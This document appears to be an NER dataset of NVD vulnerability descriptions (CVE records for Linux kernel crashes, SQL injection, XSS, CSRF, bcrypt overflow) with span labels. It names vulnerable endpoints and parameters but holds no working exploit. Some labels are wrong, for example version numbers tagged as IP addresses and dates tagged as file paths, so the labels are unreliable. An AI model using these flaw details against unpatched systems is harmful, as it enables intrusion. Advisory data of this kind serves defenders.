{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Fix unbuffered write error handling\n\nIf all the subrequests in an unbuffered write stream fail, the subrequest\ncollector doesn't update the stream->transferred value and it retains its\ninitial LONG_MAX value.  Unfortunately, if all active streams fail, then we\ntake the smallest value of { LONG_MAX, LONG_MAX, ... } as the value to set\nin wreq->transferred - which is then returned from ->write_iter().\n\nLONG_MAX was chosen as the initial value so that all the streams can be\nquickly assessed by taking the smallest value of all stream->transferred -\nbut this only works if we've set any of them.\n\nFix this by adding a flag to indicate whether the value in\nstream->transferred is valid and checking that when we integrate the\nvalues.  stream->transferred can then be initialised to zero.\n\nThis was found by running the generic/750 xfstest against cifs with\ncache=none.  It splices data to the target file.  Once (if) it has used up\nall the available scratch space, the writes start failing with ENOSPC.\nThis causes ->write_iter() to fail.  However, it was returning\nwreq->transferred, i.e. LONG_MAX, rather than an error (because it thought\nthe amount transferred was non-zero) and iter_file_splice_write() would\nthen try to clean up that amount of pipe bufferage - leading to an oops\nwhen it overran.  The kernel log showed:\n\n    CIFS: VFS: Send error in write = -28\n\nfollowed by:\n\n    BUG: kernel NULL pointer dereference, address: 0000000000000008\n\nwith:\n\n    RIP: 0010:iter_file_splice_write+0x3a4/0x520\n    do_splice+0x197/0x4e0\n\nor:\n\n    RIP: 0010:pipe_buf_release (include/linux/pipe_fs_i.h:282)\n    iter_file_splice_write (fs/splice.c:755)\n\nAlso put a warning check into splice to announce if ->write_iter() returned\nthat it had written more than it was asked to.", "spans": {"FILEPATH: /linux/pipe_fs_i.h": [[1655, 1673]], "FILEPATH: splice.c": [[1710, 1718]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[1475, 1499]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39723"}}
{"text": "Archery is an open source SQL audit platform. The Archery project contains multiple SQL injection vulnerabilities, that may allow an attacker to query the connected databases. Affected versions are subject to SQL injection in the `sql/instance.py` endpoint's `describe` method. In several cases, user input coming from the `tb_name` parameter value,  the `db_name` parameter value or the `schema_name` value in the `sql/instance.py` `describe` endpoint is passed to the `describe_table` methods in given SQL engine implementations, which concatenate user input unsafely into a SQL query and afterwards pass it to the `query` method of each database engine for execution. Please take into account that in some cases all three parameter values are concatenated, in other only one or two of them. The affected methods are: `describe_table` in `sql/engines/clickhouse.py`which concatenates input which is passed to execution on the database in the  `query` method in `sql/engines/clickhouse.py`, `describe_table` in `sql/engines/mssql.py` which concatenates input which is passed to execution on the database in the `query` methods in `sql/engines/mssql.py`, `describe_table` in `sql/engines/mysql.py`which concatenates input which is passed to execution on the database in the `query` method in `sql/engines/mysql.py`, `describe_table` in `sql/engines/oracle.py` which concatenates input which is passed to execution on the database in the `query` methods in `sql/engines/oracle.py`, `describe_table` in `sql/engines/pgsql.py`which concatenates input which is passed to execution on the database in the `query` methods in `sql/engines/pgsql.py`, `describe_table` in `sql/engines/phoenix.py` which concatenates input which is passed to execution on the database in the  `query` method in `sql/engines/phoenix.py`. Each of these issues may be mitigated by escaping user input or by using prepared statements when executing SQL queries. This issue is also indexed as `GHSL-2022-101`.", "spans": {"FILEPATH: /engines/clickhouse.py": [[844, 866], [967, 989]], "FILEPATH: /engines/mssql.py": [[1016, 1033], [1135, 1152]], "FILEPATH: /engines/mysql.py": [[1179, 1196], [1296, 1313]], "FILEPATH: /engines/oracle.py": [[1340, 1358], [1460, 1478]], "FILEPATH: /engines/pgsql.py": [[1505, 1522], [1623, 1640]], "FILEPATH: /engines/phoenix.py": [[1667, 1686], [1788, 1807]], "FILEPATH: instance.py": [[235, 246], [420, 431]], "VULNERABILITY: SQL injection": [[84, 97], [209, 222]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-30552"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Skip Recompute DSC Params if no Stream on Link\n\n[why]\nEncounter NULL pointer dereference uner mst + dsc setup.\n\nBUG: kernel NULL pointer dereference, address: 0000000000000008\n    PGD 0 P4D 0\n    Oops: 0000 [#1] PREEMPT SMP NOPTI\n    CPU: 4 PID: 917 Comm: sway Not tainted 6.3.9-arch1-1 #1 124dc55df4f5272ccb409f39ef4872fc2b3376a2\n    Hardware name: LENOVO 20NKS01Y00/20NKS01Y00, BIOS R12ET61W(1.31 ) 07/28/2022\n    RIP: 0010:drm_dp_atomic_find_time_slots+0x5e/0x260 [drm_display_helper]\n    Code: 01 00 00 48 8b 85 60 05 00 00 48 63 80 88 00 00 00 3b 43 28 0f 8d 2e 01 00 00 48 8b 53 30 48 8d 04 80 48 8d 04 c2 48 8b 40 18 <48> 8>\n    RSP: 0018:ffff960cc2df77d8 EFLAGS: 00010293\n    RAX: 0000000000000000 RBX: ffff8afb87e81280 RCX: 0000000000000224\n    RDX: ffff8afb9ee37c00 RSI: ffff8afb8da1a578 RDI: ffff8afb87e81280\n    RBP: ffff8afb83d67000 R08: 0000000000000001 R09: ffff8afb9652f850\n    R10: ffff960cc2df7908 R11: 0000000000000002 R12: 0000000000000000\n    R13: ffff8afb8d7688a0 R14: ffff8afb8da1a578 R15: 0000000000000224\n    FS:  00007f4dac35ce00(0000) GS:ffff8afe30b00000(0000) knlGS:0000000000000000\n    CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n    CR2: 0000000000000008 CR3: 000000010ddc6000 CR4: 00000000003506e0\n    Call Trace:\n<TASK>\n     ? __die+0x23/0x70\n     ? page_fault_oops+0x171/0x4e0\n     ? plist_add+0xbe/0x100\n     ? exc_page_fault+0x7c/0x180\n     ? asm_exc_page_fault+0x26/0x30\n     ? drm_dp_atomic_find_time_slots+0x5e/0x260 [drm_display_helper 0e67723696438d8e02b741593dd50d80b44c2026]\n     ? drm_dp_atomic_find_time_slots+0x28/0x260 [drm_display_helper 0e67723696438d8e02b741593dd50d80b44c2026]\n     compute_mst_dsc_configs_for_link+0x2ff/0xa40 [amdgpu 62e600d2a75e9158e1cd0a243bdc8e6da040c054]\n     ? fill_plane_buffer_attributes+0x419/0x510 [amdgpu 62e600d2a75e9158e1cd0a243bdc8e6da040c054]\n     compute_mst_dsc_configs_for_state+0x1e1/0x250 [amdgpu 62e600d2a75e9158e1cd0a243bdc8e6da040c054]\n     amdgpu_dm_atomic_check+0xecd/0x1190 [amdgpu 62e600d2a75e9158e1cd0a243bdc8e6da040c054]\n     drm_atomic_check_only+0x5c5/0xa40\n     drm_mode_atomic_ioctl+0x76e/0xbc0\n\n[how]\ndsc recompute should be skipped if no mode change detected on the new\nrequest. If detected, keep checking whether the stream is already on\ncurrent state or not.", "spans": {"HASH: 124dc55df4f5272ccb409f39ef4872fc2b3376a2": [[376, 416]], "HASH: 0e67723696438d8e02b741593dd50d80b44c2026": [[1567, 1607], [1677, 1717]], "HASH: 62e600d2a75e9158e1cd0a243bdc8e6da040c054": [[1777, 1817], [1875, 1915], [1976, 2016], [2067, 2107]], "FILEPATH: /amd/display": [[72, 84]], "FILEPATH: /28/2022": [[489, 497]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[150, 174], [210, 234]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47683"}}
{"text": "bcrypt-ruby is a Ruby binding for the OpenBSD bcrypt() password hashing algorithm. Prior to version 3.1.22, an integer overflow in the Java BCrypt implementation for JRuby can cause zero iterations in the strengthening loop.  Impacted applications must be setting the cost to 31 to see this happen. The JRuby implementation of bcrypt-ruby (`BCrypt.java`) computes the key-strengthening round count as a signed 32-bit integer. When `cost=31` (the maximum allowed by the gem), signed integer overflow causes the round count to become negative, and the strengthening loop executes **zero iterations**. This collapses bcrypt from 2^31 rounds of exponential key-strengthening to effectively constant-time computation — only the initial EksBlowfish key setup and final 64x encryption phase remain. The resulting hash looks valid (`$2a$31$...`) and verifies correctly via `checkpw`, making the weakness invisible to the application. This issue is triggered only when cost=31 is used or when verifying a `$2a$31$` hash. This problem has been fixed in version 3.1.22. As a workaround, set the cost to something less than 31.", "spans": {"FILEPATH: BCrypt.java": [[341, 352]], "SYSTEM: OpenBSD": [[38, 45]], "SYSTEM: Java": [[135, 139]], "SYSTEM: Ruby": [[17, 21]], "VULNERABILITY: integer overflow": [[111, 127], [482, 498]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33306"}}
{"text": "Vulnerability in the Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Job System). Supported versions that are affected are 12.1.0.5, 13.2.0.0 and 13.3.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Enterprise Manager Base Platform. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Enterprise Manager Base Platform accessible data as well as unauthorized update, insert or delete access to some of Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Enterprise Manager Base Platform. CVSS 3.0 Base Score 6.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L).", "spans": {"IP_ADDRESS: 12.1.0.5": [[157, 165]], "IP_ADDRESS: 13.2.0.0": [[167, 175]], "IP_ADDRESS: 13.3.0.0": [[180, 188]], "ORGANIZATION: Oracle": [[65, 71]], "VULNERABILITY: denial of service": [[659, 676]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2625"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nserial: core: Clearing the circular buffer before NULLifying it\n\nThe circular buffer is NULLified in uart_tty_port_shutdown()\nunder the spin lock. However, the PM or other timer based callbacks\nmay still trigger after this event without knowning that buffer pointer\nis not valid. Since the serial code is a bit inconsistent in checking\nthe buffer state (some rely on the head-tail positions, some on the\nbuffer pointer), it's better to have both aligned, i.e. buffer pointer\nto be NULL and head-tail possitions to be the same, meaning it's empty.\nThis will prevent asynchronous calls to dereference NULL pointer as\nreported recently in 8250 case:\n\n  BUG: kernel NULL pointer dereference, address: 00000cf5\n  Workqueue: pm pm_runtime_work\n  EIP: serial8250_tx_chars (drivers/tty/serial/8250/8250_port.c:1809)\n  ...\n  ? serial8250_tx_chars (drivers/tty/serial/8250/8250_port.c:1809)\n  __start_tx (drivers/tty/serial/8250/8250_port.c:1551)\n  serial8250_start_tx (drivers/tty/serial/8250/8250_port.c:1654)\n  serial_port_runtime_suspend (include/linux/serial_core.h:667 drivers/tty/serial/serial_port.c:63)\n  __rpm_callback (drivers/base/power/runtime.c:393)\n  ? serial_port_remove (drivers/tty/serial/serial_port.c:50)\n  rpm_suspend (drivers/base/power/runtime.c:447)\n\nThe proposed change will prevent ->start_tx() to be called during\nsuspend on shut down port.", "spans": {"FILEPATH: /tty/serial/8250/8250_port.c": [[842, 870], [915, 943], [971, 999], [1036, 1064]], "FILEPATH: /linux/serial_core.h": [[1109, 1129]], "FILEPATH: /tty/serial/serial_port.c": [[1141, 1166], [1254, 1279]], "FILEPATH: /base/power/runtime.c": [[1196, 1217], [1306, 1327]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[731, 755]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26998"}}
{"text": "A CSRF issue in the /goform/SysToolReboot endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to reboot the device and cause denial of service via a payload hosted by an attacker-controlled web page.", "spans": {"IP_ADDRESS: 15.03.05.19": [[80, 91]], "FILEPATH: /goform/SysToolReboot": [[20, 41]], "ORGANIZATION: Tenda": [[54, 59]], "VULNERABILITY: denial of service": [[147, 164]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10986"}}
{"text": "Sipwise C5 NGCP WWW Admin version 3.6.7 up to and including platform version NGCP CE 3.0 has multiple authenticated stored and reflected XSS vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user: Stored XSS in callforward/time/set/save (POST tsetname); Reflected XSS in addressbook (GET filter); Stored XSS in addressbook/save (POST firstname, lastname, company); and Reflected XSS in statistics/versions (GET lang).", "spans": {"FILEPATH: /time/set/save": [[303, 317]], "VULNERABILITY: reflected XSS": [[127, 140]], "VULNERABILITY: Reflected XSS": [[335, 348], [450, 463]], "VULNERABILITY: Stored XSS": [[278, 288], [378, 388]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31583"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: clone set on flush only\n\nSyzbot with fault injection triggered a failing memory allocation with\nGFP_KERNEL which results in a WARN splat:\n\niter.err\nWARNING: net/netfilter/nf_tables_api.c:845 at nft_map_deactivate+0x34e/0x3c0 net/netfilter/nf_tables_api.c:845, CPU#0: syz.0.17/5992\nModules linked in:\nCPU: 0 UID: 0 PID: 5992 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2026\nRIP: 0010:nft_map_deactivate+0x34e/0x3c0 net/netfilter/nf_tables_api.c:845\nCode: 8b 05 86 5a 4e 09 48 3b 84 24 a0 00 00 00 75 62 48 8d 65 d8 5b 41 5c 41 5d 41 5e 41 5f 5d c3 cc cc cc cc cc e8 63 6d fa f7 90 <0f> 0b 90 43\n+80 7c 35 00 00 0f 85 23 fe ff ff e9 26 fe ff ff 89 d9\nRSP: 0018:ffffc900045af780 EFLAGS: 00010293\nRAX: ffffffff89ca45bd RBX: 00000000fffffff4 RCX: ffff888028111e40\nRDX: 0000000000000000 RSI: 00000000fffffff4 RDI: 0000000000000000\nRBP: ffffc900045af870 R08: 0000000000400dc0 R09: 00000000ffffffff\nR10: dffffc0000000000 R11: fffffbfff1d141db R12: ffffc900045af7e0\nR13: 1ffff920008b5f24 R14: dffffc0000000000 R15: ffffc900045af920\nFS:  000055557a6a5500(0000) GS:ffff888125496000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007fb5ea271fc0 CR3: 000000003269e000 CR4: 00000000003526f0\nCall Trace:\n <TASK>\n __nft_release_table+0xceb/0x11f0 net/netfilter/nf_tables_api.c:12115\n nft_rcv_nl_event+0xc25/0xdb0 net/netfilter/nf_tables_api.c:12187\n notifier_call_chain+0x19d/0x3a0 kernel/notifier.c:85\n blocking_notifier_call_chain+0x6a/0x90 kernel/notifier.c:380\n netlink_release+0x123b/0x1ad0 net/netlink/af_netlink.c:761\n __sock_release net/socket.c:662 [inline]\n sock_close+0xc3/0x240 net/socket.c:1455\n\nRestrict set clone to the flush set command in the preparation phase.\nAdd NFT_ITER_UPDATE_CLONE and use it for this purpose, update the rbtree\nand pipapo backends to only clone the set when this iteration type is\nused.\n\nAs for the existing NFT_ITER_UPDATE type, update the pipapo backend to\nuse the existing set clone if available, otherwise use the existing set\nrepresentation. After this update, there is no need to clone a set that\nis being deleted, this includes bound anonymous set.\n\nAn alternative approach to NFT_ITER_UPDATE_CLONE is to add a .clone\ninterface and call it from the flush set path.", "spans": {"FILEPATH: /netfilter/nf_tables_api.c": [[251, 277], [319, 345], [603, 629], [1459, 1485], [1525, 1551]], "FILEPATH: /12/2026": [[550, 558]], "FILEPATH: /netlink/af_netlink.c": [[1708, 1729]], "FILEPATH: notifier.c": [[1598, 1608], [1659, 1669]], "FILEPATH: socket.c": [[1754, 1762], [1803, 1811]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[484, 490], [491, 497], [513, 519], [541, 547]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23385"}}
{"text": "A vulnerability in the Cisco Discovery Protocol feature of Cisco FXOS Software and Cisco NX-OS Software could allow an unauthenticated, adjacent attacker to execute arbitrary code as root or cause a denial of service (DoS) condition on an affected device. The vulnerability exists because of insufficiently validated Cisco Discovery Protocol packet headers. An attacker could exploit this vulnerability by sending a crafted Cisco Discovery Protocol packet to a Layer 2-adjacent affected device. A successful exploit could allow the attacker to cause a buffer overflow that could allow the attacker to execute arbitrary code as root or cause a DoS condition on the affected device. Note: Cisco Discovery Protocol is a Layer 2 protocol. To exploit this vulnerability, an attacker must be in the same broadcast domain as the affected device (Layer 2 adjacent). Note: This vulnerability is different from the following Cisco FXOS and NX-OS Software Cisco Discovery Protocol vulnerabilities that Cisco announced on Feb. 5, 2020: Cisco FXOS, IOS XR, and NX-OS Software Cisco Discovery Protocol Denial of Service Vulnerability and Cisco NX-OS Software Cisco Discovery Protocol Remote Code Execution Vulnerability.", "spans": {"SYSTEM: Cisco NX-OS": [[83, 94], [1124, 1135]], "ORGANIZATION: Cisco": [[23, 28], [59, 64], [317, 322], [424, 429], [687, 692], [915, 920], [945, 950], [991, 996], [1024, 1029], [1063, 1068], [1145, 1150]], "VULNERABILITY: Remote Code Execution": [[1170, 1191]], "VULNERABILITY: denial of service": [[199, 216]], "VULNERABILITY: Denial of Service": [[1088, 1105]], "VULNERABILITY: buffer overflow": [[552, 567]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3172"}}
{"text": "Kirby is an open source CMS. An editor with write access to the Kirby Panel can upload an SVG file that contains harmful content like `<script>` tags. The direct link to that file can be sent to other users or visitors of the site. If the victim opens that link in a browser where they are logged in to Kirby, the script will run and can for example trigger requests to Kirby's API with the permissions of the victim. This vulnerability is critical if you might have potential attackers in your group of authenticated Panel users, as they can escalate their privileges if they get access to the Panel session of an admin user. Depending on your site, other JavaScript-powered attacks are possible. Visitors without Panel access can only use this attack vector if your site allows SVG file uploads in frontend forms and you don't already sanitize uploaded SVG files. The problem has been patched in Kirby 3.5.4. Please update to this or a later version to fix the vulnerability. Frontend upload forms need to be patched separately depending on how they store the uploaded file(s). If you use `File::create()`, you are protected by updating to 3.5.4+. As a work around you can disable the upload of SVG files in your file blueprints.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29460"}}
{"text": "@dapperduckling/keycloak-connector-server is an opinionated series of libraries for Node.js applications and frontend clients to interface with keycloak. A Reflected Cross-Site Scripting (XSS) vulnerability was discovered in the authentication flow of the application. This issue arises due to improper sanitization of the URL parameters, allowing the URL bar's contents to be injected and reflected into the HTML page. An attacker could craft a malicious URL to execute arbitrary JavaScript in the browser of a victim who visits the link. Any application utilizing this authentication library is vulnerable. Users of the application are at risk if they can be lured into clicking on a crafted malicious link. The vulnerability has been patched in version 2.5.5 by ensuring proper sanitization and escaping of user input in the affected URL parameters. Users are strongly encouraged to upgrade. If upgrading is not immediately possible, users can implement the following workarounds: 1. Employ a Web Application Firewall (WAF) to block malicious requests containing suspicious URL parameters. or 2. Apply input validation and escaping directly within the application’s middleware or reverse proxy layer, specifically targeting the affected parameters.", "spans": {"FILEPATH: Node.js": [[84, 91]], "VULNERABILITY: Cross-Site Scripting": [[166, 186]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53843"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions providing a negative element to `num_elements` list argument of `tf.raw_ops.TensorListReserve` causes the runtime to abort the process due to reallocating a `std::vector` to have a negative number of elements. The [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/list_kernels.cc#L312) calls `std::vector.resize()` with the new size controlled by input given by the user, without checking that this input is valid. We have patched the issue in GitHub commit 8a6e874437670045e6c7dc6154c7412b4a2135e2. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/list_kernels.cc#L312": [[323, 454]], "HASH: 8a6e874437670045e6c7dc6154c7412b4a2135e2": [[628, 668]], "ORGANIZATION: GitHub": [[614, 620]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37644"}}
{"text": "In xmpp-http-upload before version 0.4.0, when the GET method is attacked, attackers can read files which have a `.data` suffix and which are accompanied by a JSON file with the `.meta` suffix. This can lead to Information Disclosure and in some shared-hosting scenarios also to circumvention of authentication or other limitations on the outbound (GET) traffic. For example, in a scenario where a single server has multiple instances of the application running (with separate DATA_ROOT settings), an attacker who has knowledge about the directory structure is able to read files from any other instance to which the process has read access. If instances have individual authentication (for example, HTTP authentication via a reverse proxy, source IP based filtering) or other restrictions (such as quotas), attackers may circumvent those limits in such a scenario by using the Directory Traversal to retrieve data from the other instances. If the associated XMPP server (or anyone knowing the SECRET_KEY) is malicious, they can write files outside the DATA_ROOT. The files which are written are constrained to have the `.meta` and the `.data` suffixes; the `.meta` file will contain the JSON with the Content-Type of the original request and the `.data` file will contain the payload. The issue is patched in version 0.4.0.", "spans": {"VULNERABILITY: Information Disclosure": [[211, 233]], "VULNERABILITY: Directory Traversal": [[878, 897]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15239"}}
{"text": "A vulnerability classified as problematic has been found in Indeed Engineering util up to 1.0.33. Affected is the function visit/appendTo of the file varexport/src/main/java/com/indeed/util/varexport/servlet/ViewExportedVariablesServlet.java. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. Upgrading to version 1.0.34 is able to address this issue. The name of the patch is c0952a9db51a880e9544d9fac2a2218a6bfc9c63. It is recommended to upgrade the affected component. VDB-216882 is the identifier assigned to this vulnerability.", "spans": {"HASH: c0952a9db51a880e9544d9fac2a2218a6bfc9c63": [[421, 461]], "FILEPATH: /src/main/java/com/indeed/util/varexport/servlet/ViewExportedVariablesServlet.java.": [[159, 242]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36634"}}
{"text": "LogRhythm Platform Manager (PM) 7.4.9 has Incorrect Access Control. Users within LogRhythm can be delegated different roles and privileges, intended to limit what data and services they can interact with. However, no access control is enforced for WebSocket-based communication to the PM application server, which will forward requests to any configured back-end server, regardless of whether the user's access rights should permit this. As a result, even the most low-privileged user can interact with any back-end component that has a LogRhythm agent installed.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-25096"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/xive/spapr: correct bitmap allocation size\n\nkasan detects access beyond the end of the xibm->bitmap allocation:\n\nBUG: KASAN: slab-out-of-bounds in _find_first_zero_bit+0x40/0x140\nRead of size 8 at addr c00000001d1d0118 by task swapper/0/1\n\nCPU: 0 PID: 1 Comm: swapper/0 Not tainted 5.19.0-rc2-00001-g90df023b36dd #28\nCall Trace:\n[c00000001d98f770] [c0000000012baab8] dump_stack_lvl+0xac/0x108 (unreliable)\n[c00000001d98f7b0] [c00000000068faac] print_report+0x37c/0x710\n[c00000001d98f880] [c0000000006902c0] kasan_report+0x110/0x354\n[c00000001d98f950] [c000000000692324] __asan_load8+0xa4/0xe0\n[c00000001d98f970] [c0000000011c6ed0] _find_first_zero_bit+0x40/0x140\n[c00000001d98f9b0] [c0000000000dbfbc] xive_spapr_get_ipi+0xcc/0x260\n[c00000001d98fa70] [c0000000000d6d28] xive_setup_cpu_ipi+0x1e8/0x450\n[c00000001d98fb30] [c000000004032a20] pSeries_smp_probe+0x5c/0x118\n[c00000001d98fb60] [c000000004018b44] smp_prepare_cpus+0x944/0x9ac\n[c00000001d98fc90] [c000000004009f9c] kernel_init_freeable+0x2d4/0x640\n[c00000001d98fd90] [c0000000000131e8] kernel_init+0x28/0x1d0\n[c00000001d98fe10] [c00000000000cd54] ret_from_kernel_thread+0x5c/0x64\n\nAllocated by task 0:\n kasan_save_stack+0x34/0x70\n __kasan_kmalloc+0xb4/0xf0\n __kmalloc+0x268/0x540\n xive_spapr_init+0x4d0/0x77c\n pseries_init_irq+0x40/0x27c\n init_IRQ+0x44/0x84\n start_kernel+0x2a4/0x538\n start_here_common+0x1c/0x20\n\nThe buggy address belongs to the object at c00000001d1d0118\n which belongs to the cache kmalloc-8 of size 8\nThe buggy address is located 0 bytes inside of\n 8-byte region [c00000001d1d0118, c00000001d1d0120)\n\nThe buggy address belongs to the physical page:\npage:c00c000000074740 refcount:1 mapcount:0 mapping:0000000000000000 index:0xc00000001d1d0558 pfn:0x1d1d\nflags: 0x7ffff000000200(slab|node=0|zone=0|lastcpupid=0x7ffff)\nraw: 007ffff000000200 c00000001d0003c8 c00000001d0003c8 c00000001d010480\nraw: c00000001d1d0558 0000000001e1000a 00000001ffffffff 0000000000000000\npage dumped because: kasan: bad access detected\n\nMemory state around the buggy address:\n c00000001d1d0000: fc 00 fc fc fc fc fc fc fc fc fc fc fc fc fc fc\n c00000001d1d0080: fc fc 00 fc fc fc fc fc fc fc fc fc fc fc fc fc\n>c00000001d1d0100: fc fc fc 02 fc fc fc fc fc fc fc fc fc fc fc fc\n                            ^\n c00000001d1d0180: fc fc fc fc 04 fc fc fc fc fc fc fc fc fc fc fc\n c00000001d1d0200: fc fc fc fc fc 04 fc fc fc fc fc fc fc fc fc fc\n\nThis happens because the allocation uses the wrong unit (bits) when it\nshould pass (BITS_TO_LONGS(count) * sizeof(long)) or equivalent. With small\nnumbers of bits, the allocated object can be smaller than sizeof(long),\nwhich results in invalid accesses.\n\nUse bitmap_zalloc() to allocate and initialize the irq bitmap, paired with\nbitmap_free() for consistency.", "spans": {"FILEPATH: /xive/spapr": [[76, 87]], "FILEPATH: /0/1": [[311, 315]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49623"}}
{"text": "Ultimate Project Manager CRM PRO 2.0.5 contains a blind SQL injection vulnerability that allows attackers to extract usernames and password hashes from the tbl_users database table. Attackers can exploit the /frontend/get_article_suggestion/ endpoint by crafting malicious search parameters to progressively guess and retrieve user credentials through boolean-based inference techniques.", "spans": {"FILEPATH: /frontend/get_article_suggestion": [[208, 240]], "VULNERABILITY: SQL injection": [[56, 69]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-37004"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: check send stream number after wait_for_sndbuf\n\nThis patch fixes a corner case where the asoc out stream count may change\nafter wait_for_sndbuf.\n\nWhen the main thread in the client starts a connection, if its out stream\ncount is set to N while the in stream count in the server is set to N - 2,\nanother thread in the client keeps sending the msgs with stream number\nN - 1, and waits for sndbuf before processing INIT_ACK.\n\nHowever, after processing INIT_ACK, the out stream count in the client is\nshrunk to N - 2, the same to the in stream count in the server. The crash\noccurs when the thread waiting for sndbuf is awake and sends the msg in a\nnon-existing stream(N - 1), the call trace is as below:\n\n  KASAN: null-ptr-deref in range [0x0000000000000038-0x000000000000003f]\n  Call Trace:\n   <TASK>\n   sctp_cmd_send_msg net/sctp/sm_sideeffect.c:1114 [inline]\n   sctp_cmd_interpreter net/sctp/sm_sideeffect.c:1777 [inline]\n   sctp_side_effects net/sctp/sm_sideeffect.c:1199 [inline]\n   sctp_do_sm+0x197d/0x5310 net/sctp/sm_sideeffect.c:1170\n   sctp_primitive_SEND+0x9f/0xc0 net/sctp/primitive.c:163\n   sctp_sendmsg_to_asoc+0x10eb/0x1a30 net/sctp/socket.c:1868\n   sctp_sendmsg+0x8d4/0x1d90 net/sctp/socket.c:2026\n   inet_sendmsg+0x9d/0xe0 net/ipv4/af_inet.c:825\n   sock_sendmsg_nosec net/socket.c:722 [inline]\n   sock_sendmsg+0xde/0x190 net/socket.c:745\n\nThe fix is to add an unlikely check for the send stream number after the\nthread wakes up from the wait_for_sndbuf.", "spans": {"FILEPATH: /sctp/sm_sideeffect.c": [[898, 919], [961, 982], [1021, 1042], [1088, 1109]], "FILEPATH: /sctp/primitive.c": [[1151, 1168]], "FILEPATH: /sctp/socket.c": [[1214, 1228], [1266, 1280]], "FILEPATH: /ipv4/af_inet.c": [[1315, 1330]], "FILEPATH: socket.c": [[1361, 1369], [1414, 1422]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53296"}}
{"text": "Issue summary: Checking excessively long DH keys or parameters may be very slow.\n\nImpact summary: Applications that use the functions DH_check(), DH_check_ex()\nor EVP_PKEY_param_check() to check a DH key or DH parameters may experience long\ndelays. Where the key or parameters that are being checked have been obtained\nfrom an untrusted source this may lead to a Denial of Service.\n\nThe function DH_check() performs various checks on DH parameters. One of those\nchecks confirms that the modulus ('p' parameter) is not too large. Trying to use\na very large modulus is slow and OpenSSL will not normally use a modulus which\nis over 10,000 bits in length.\n\nHowever the DH_check() function checks numerous aspects of the key or parameters\nthat have been supplied. Some of those checks use the supplied modulus value\neven if it has already been found to be too large.\n\nAn application that calls DH_check() and supplies a key or parameters obtained\nfrom an untrusted source could be vulernable to a Denial of Service attack.\n\nThe function DH_check() is itself called by a number of other OpenSSL functions.\nAn application calling any of those other functions may similarly be affected.\nThe other functions affected by this are DH_check_ex() and\nEVP_PKEY_param_check().\n\nAlso vulnerable are the OpenSSL dhparam and pkeyparam command line applications\nwhen using the '-check' option.\n\nThe OpenSSL SSL/TLS implementation is not affected by this issue.\nThe OpenSSL 3.0 and 3.1 FIPS providers are not affected by this issue.", "spans": {"SYSTEM: OpenSSL": [[576, 583], [1082, 1089], [1288, 1295], [1381, 1388], [1447, 1454]], "VULNERABILITY: Denial of Service": [[363, 380], [993, 1010]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-3446"}}
